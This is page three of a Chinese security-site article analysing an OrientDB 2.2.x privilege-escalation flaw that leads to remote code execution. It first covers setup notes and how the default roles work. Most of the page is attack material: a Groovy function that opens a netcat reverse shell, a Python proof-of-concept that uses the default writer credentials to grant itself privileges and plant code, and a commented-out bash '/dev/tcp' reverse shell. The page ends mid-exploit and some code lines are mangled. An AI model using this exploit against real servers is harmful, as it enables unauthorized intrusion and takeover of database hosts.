欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

OrientDB远程代码执行漏洞利用与分析

来源:本站整理 作者:佚名 时间:2017-08-26 TAG: 我要投稿
注意:
(1)如果是虚拟机,则需要修改内存大小,默认64位是512G,修改为1G!需要修改/opt/orientdb/bin下的所有bat文件和sh文件。否则会报“Invalid maximum direct memory size: -XX:MaxDirectMemorySize=512g”错误。
(2)设置路径和用户,在对应的sh文件中设置
ORIENTDB_DIR="/opt/orientdb/"
ORIENTDB_USER="orientdb"
3.2漏洞分析
3.2.1用户权限
OrientDB使用RBAC模型进行认证方案。默认情况下,OrientDB有3个角色:管理员(admin),作者(writer)和读者(reader)。这些用户名与角色相同。对于在服务器上创建的每个数据库,默认情况下分配这3个用户。
用户的权限是:
admin:访问数据库上的所有功能,没有任何限制
reader:只读用户。读者可以查询数据库中的任何记录,但不能修改或删除它们。它不能访问内部信息,例如用户和角色本身。
writer:与“读者”相同,但也可以创建,更新和删除记录
3.2.2越权导致命令执行
ORole结构处理用户及其角色,只能由管理员访问。OrientDB需要oRole读取权限来允许用户显示用户的权限以及与oRole权限相关联的其他查询。但在版本2.2.x中,每当上述oRole查询包含where、fetchplan和ORDER BY语句,则不需要此权限的要求和信息,而返回给未经授权的用户从而导致命令执行
例:
select * from oRole order by name;
当每个数据库创建时会创建writer用户,这样,即使db管理员更改管理员用户密码,攻击者仍然可以使用writer用户获取代码执行。由于我们启用了where、fetchplan和ORDER BY函数,在OrientDB中有一个执行groovy函数,groovy包装类没有沙箱,暴露了系统函数,因此我们可以运行我们想要的任何命令。
示例Groovy函数:
Command.md
def command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081
>/tmp/f'
File file = new File("hello.sh")
file.delete()
file "#!/bin/bash\n")
file command)
def proc = "bash hello.sh".execute()
3.2.3概念证明
(1)监听8081端口。
在8081端口运行Netcat:nc -lv 8081
运行以下命令:
python PoC.py ip [port]
(2)poc.py
import sys
import requests
import json
import string
import random
target = sys.argv[1]
try:
port = sys.argv[2] if sys.argv[2] else 2480
except:
port = 2480
url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def enum_databases(target,port="2480"):
base_url = "http://%s:%s/listDatabases"%(target,port)
req = requests.get(base_url)
if req.status_code == 200:
#print "[+] Database Enumeration successful"
database = req.json()['databases']
return database
return False
def check_version(target,port="2480"):
base_url = "http://%s:%s/listDatabases"%(target,port)
req = requests.get(base_url)
if req.status_code == 200:
headers = req.headers['server']
#print headers
if "2.2" in headers or "3." in headers:
return True
return False
def run_queries(permission,db,content=""):
databases = enum_databases(target)
url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
priv_enable = ["create","read","update","execute","delete"]
#query = "GRANT create ON database.class.ouser TO writer"
for priv in priv_enable:
if permission == "GRANT":
query = "GRANT %s ON %s TO writer"%(priv,db)
else:
query = "REVOKE %s ON %s FROM writer"%(priv,db)
req = requests.post(url,data=query,auth=('writer','writer'))
if req.status_code == 200:
pass
else:
if priv == "execute":
return True
return False
print "[+] %s"%(content)
return True
def priv_escalation(target,port="2480"):
print "[+] Checking OrientDB Database version is greater than 2.2"
if check_version(target,port):
priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
if priv1 and priv2 and priv3:
return True
return False
def exploit(target,port="2480"):
#query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file
#query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file

上一页  [1] [2] [3] [4]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载